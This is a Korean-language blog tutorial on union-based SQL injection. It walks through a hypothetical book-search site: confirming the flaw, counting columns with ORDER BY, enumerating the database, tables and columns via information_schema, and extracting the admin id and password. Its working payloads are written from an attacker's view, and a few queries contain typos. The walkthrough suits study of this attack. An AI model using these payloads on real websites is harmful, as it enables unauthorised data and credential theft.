1

SQL Injection - Union - 절차적 해킹

SQL Injection - Union - 절차적 해킹

노아의 블로그

    목차
반응형

SQL Injecton은 기본적으로 해커들이 사이트의 데이터를 "추출" 하려고 많이 쓰이죠.

해커들한테 데이터란 귀중한 자료여서 삭제하거나 수정하는 일은 별로 없습니다. 

 

그럼 이 추출을 어떻게 할까요?

 

데이터 추출 방법은 상황에 따라 전략이 달라집니다.

 

먼저 첫번째로 소개할것은 데이터가 눈에 보이는곳입니다

데이터가 눈에 보이는곳이란 곧 우리가 추출할 데이터가 눈으로 보인다는 소리입니다. 

 

그렇다면 UNION INJECTION을 하면 우리가 입력하는 결과를 눈으로 볼 수 있다는 소리입니다.

 

하지만 UNION INJECTION을 하려면 SELECT되는 컬럼 수를 알아야하죠.

 

컬럼 수를 알수있는 방법중  Order by가 있습니다.

아시는 분도 계시겠지만, Order by는 정렬을 할때 사용합니다.

근데 정렬로 어떻게 컬럼 수를 구할까요?

 

네. 일단 Order by 를 소개하겠습니다. 

Select id,pass from member order by id;

를 하면 id로 정렬한다는 뜻입니다.

 

그러면 패스워드를 기준으로 정렬하려면?

Select id,pass from member order by pass;

이거죠.

 

규칙은 order by는 결과를 기준으로 정렬하겠다. 라서 맨 끝에 와야합니다.

 

그럼 이것은 어떨까요?

Select id,pass from member order by 1;

1을 기준으로 정렬하겠다 일까요?

아닙니다. 바로 1번째 컬럼. 즉 id를 기준으로 정렬을 하겠다는 소리입니다.

 

그렇다면 Select id,pass from member order by 2;

이것은 역시 2번째 컬럼, pass를 기준으로 정렬하겠다는 소리입니다.

 

그러면 이건요?

Select id,pass from member order by 3;

지금 3번째 컬럼은 존재하지 않습니다.

 

즉. 오류가 납니다....

그럼 실패인가요? 아닙니다. 개발자에게 오류는 절망이지만 해커에게 오류는 희망입니다.

3번째를 기준으로 정렬을 시켰는데 오류가났네?

=컬럼이 2개 존재하네?

=Union '1' ,'2'를 하면 먹히겠네?

해커는 이런 마인드여야합니다...ㅋㅋㅋㅋ

 

그렇다면 지금부터 SQL Injection의 절차를 소개하겠습니다.

먼저 도서 검색 사이트를 해킹한다고 가정해봅시다.

(설명용으로 복잡한 연관관계를 가지고있지 않으며 단순히 도서 이름과 가격같은 단순 정보만 출력됩니다.)

 

1.추리하라

사이트에서 검색을 해보면서 어떤 쿼리문으로 도서검색이 되는지 추리할수 있어야합니다.

도서 검색 사이트에서 'C언어'를 검색했다고 가정해보겠습니다.

 

그렇다면 결과는 이렇게 나오네요. 

1.C언어 학습하기.

2.C언어 정말 쉬워요.

3.C언어 초보를 위한 가이드

....

당연한 결과네 라고 생각하실수도 있겠지만 아닙니다.

select * from books where name = 'C언어';

이것을 생각하셨나요? 땡. 틀렸습니다 여기서 추리의 필요성이 등장합니다.

 

저는 분명 C언어만 검색했으니까. 책 이름이 단순 C언어여만 하는데 아니죠?

C언어 라는 단어가 포함된 책들이 나오죠.

 

이때 생각할 수 있는게 Like입니다. like는 포함된 문자를 가지고있는 데이터를 출력하는 것입니다. 그러므로 C언어 라는 문자를 가지고있는 책들이 모두 나온것이죠.

만약 books 테이블의 name이라는 컬럼에서 "C언어"가 포함된 데이터를 가져오고싶다면 이렇게 쓰면 됩니다.

select * from books where name like '%C언어%'

 

하지만 우리가 해커라고 생각해보면 우리는 테이블명과 컬럼명을 모릅니다. 그러므로 일단

select ???? from ????

where ???? like '%?%'; 이런식으로 생각해보죠.

 

일단 사이트에서 구할수 있는 내용으로 이러한 쿼리문을 작성했습니다. 이제 무엇을할까요? 유니온 인젝션을 바로 시도할까요?

 

돌다리도 두들겨보고 건너라는 말이 있죠.

 

2.확인하라

옛날이라면 모를까 지금은 Injection 공격이 애초에 차단되어있는 사이트도 많습니다.

애초에 차단되어있는데 열심히 SQL써서 공격했는데 안되면? 난감쓰 하죠?

 

그래서. 가장 간단한 방법으로 확인을 해봅니다.

 

아니 그러면 그냥 처음부터  ' 써서 공격하면 되는거 아님?(select * from xx where name = ''' <<고의적 문법오류

이라고 생각할수도 있습니다. 제가 그랬습니다.

하지만 너무 단순해도 단순하죠. 사람들 ' 써서 오타 낼 확률 높습니다. 개발자는 예외처리를 다 했을겁니다.

 

그래서 1단계가 필요한것입니다. 확인을 하려면 쿼리문을 미리 세팅해놓고 거기에 맞춰서 공격을 해야되니까요.

 

위에서 세팅한 쿼리문을 불러옵시다.

select ???? from ????

where ???? like '%?%';  이제 여기에다가 무엇을 넣으면 좋을까요?

 

xxx = xxx or 1 = 1 # 등등 복잡한 것들을 처음부터 써넣을까요?

노노. 처음은 확인용이니까 SQL을 삽입하되, 처음 결과와 같은 결과를 출력하도록 참이 되는 구문을 집어넣습니다.

 

이것을 집어넣은다면?

%C언어%' and '1%'='1%

 

select ???? from ????

where ???? like '%C언어%' and '1%'='1%';

 

이런식으로 전과 지금이나 결과가 다르지 않게 출력할수 있죠. 이 쿼리를 집어넣을때 결과가 똑같이 나온다면 내가 집어넣은 쿼리가 실행된것이니까 SQL Injection 취약점이 존재한다고 확인할수 있습니다.

 

3.탐색하라

 

이제 SQL Injection 공격이 통한다는 사실을 알았습니다.

하지만 Union을 쓰기에는 아직 부족합니다. 

컬럼 수를 알아야죠?

 

2번째에 세팅했던 쿼리를 불러옵니다.

 

select ???? from ????

where ???? like '%C언어%' and '1%'='1%';

 

이제 and는 지워버리고 order by 인덱스를 하면 됩니다.

 

select ???? from ????

where ???? like '%C언어%' order by 1 # %'

 

#은 주석이죠. 맨뒤에 %'은 무효처리가 됩니다.

따라서 select ???? from ????

where ???? like '%C언어%' order by 1 이 실행됩니다.

 

order by [인덱스] 를 늘려가면서 어디까지 정상적으로 실행이 되나 판단합니다

저희는 4개까지 컬럼이 존재한다고 가정해봅시다.

 

이제 유니온 인젝션 조건을 충족했습니다. 하지만 

컬럼 이름은 4개인데 이상하게 화면에는 책 이름만 나왔습니다. 

 

그렇다면 책 이름이 몇번째 컬럼인지알면 유용하게 이용할 수 있습니다.

select ???? from ????

where ???? like '%C언어%' union select '1','2','3','4%'

 

 select union '1','2','3','4 를 넣어줍니다.

 

결과로는 C언어에 관련된 책 이름과 우리가 넣은 2가 나왔습니다.

책 이름 컬럼은 2번째에 위치한것으로 보고 우리는 2번째 컬럼에 보고싶은 값들을 넣으면 되겠네요.

 

4.조회하라

 

이제 모든 준비는 끝났습니다.

보고싶은 데이터를 조회해버리면 끝납니다.

 

my sql에서는 select database() 라는 쿼리가 있습니다.

이것은 자신이 위치한 데이터베이스의 이름을 조회하는 쿼리입니다. 

이것을 넣어봅시다.

 

select ???? from ????

where ???? like '%C언어%' union select '1',database(),'3','4%'

 

이제 데이타베이스의 이름을 털었습니다. 이름은 bookdb입니다.

 

데이타베이스의 이름이 무엇이 중요하는가 하지만 중요합니다.

database 에 테이블이 있고 테이블에 컬럼이 있지 않습니까?

순차적으로 조회하는것입니다.

 

mysql에는  information_schema.tables 라는 테이블이 있습니다. 이 테이블은 모든 테이블을 가지고있습니다.

그렇다면

select table _name from information_schema.tables
where table_schema = 'bookdb'

이렇게 한다면? bookdb에 있는 모든 테이블이 나옵니다.

 

다시 쿼리문

 

select ???? from ????

where ???? like '%C언어%' union select  '1',table_name,'3','4' from information_schema.tables

where table_schema = 'bookdb' # 을 넣으면 ? 테이블명이 쫙 나옵니다.

 

그렇다면 테이블 이름중에 admininfo(관리자 정보)라는 테이블이 있다고 칩시다.

 

또 데이타베이스에는 컬럼 이름을 저장하고있는 테이블도 있습니다.

 

select colume_name from information_schema.columns
where table_name='admininfo ';

 

이렇게 하면 컬럼이름이 추출됩니다.

 

select ???? from ????

where ???? like '%C언어%' union select '1',column_name,'3','4' from information_schema.columns

where table_name='admininfo ' #;

 

컬럼은 id,password가 나왔습니다.

 

이제 우리는 무적입니다. 왜인지 아시죠?

select는 근본적으로 select [컬럼이름] from [테이블이름] 으로 조회하기때문이죠.

 

저희는 db명 테이블명 컬럼명을 조회했기때문에

union select union select '1',id,'3','4' from admininfo 

 

union select union select '1',password,'3','4' from admininfo 

를 하면 admin의 id와 password를 추출할 수 있기 때문입니다...

 

한번 뚫리면 정말 위험합니다... 꼭 조심합시다!

 

 

 

 

 

반응형

'해킹 > SQL Injection' 카테고리의 다른 글

로그인 로직 생각1  (0) 2023.04.23
SQL Injection - Union  (0) 2023.04.14
SQL Injection 학습  (0) 2023.04.14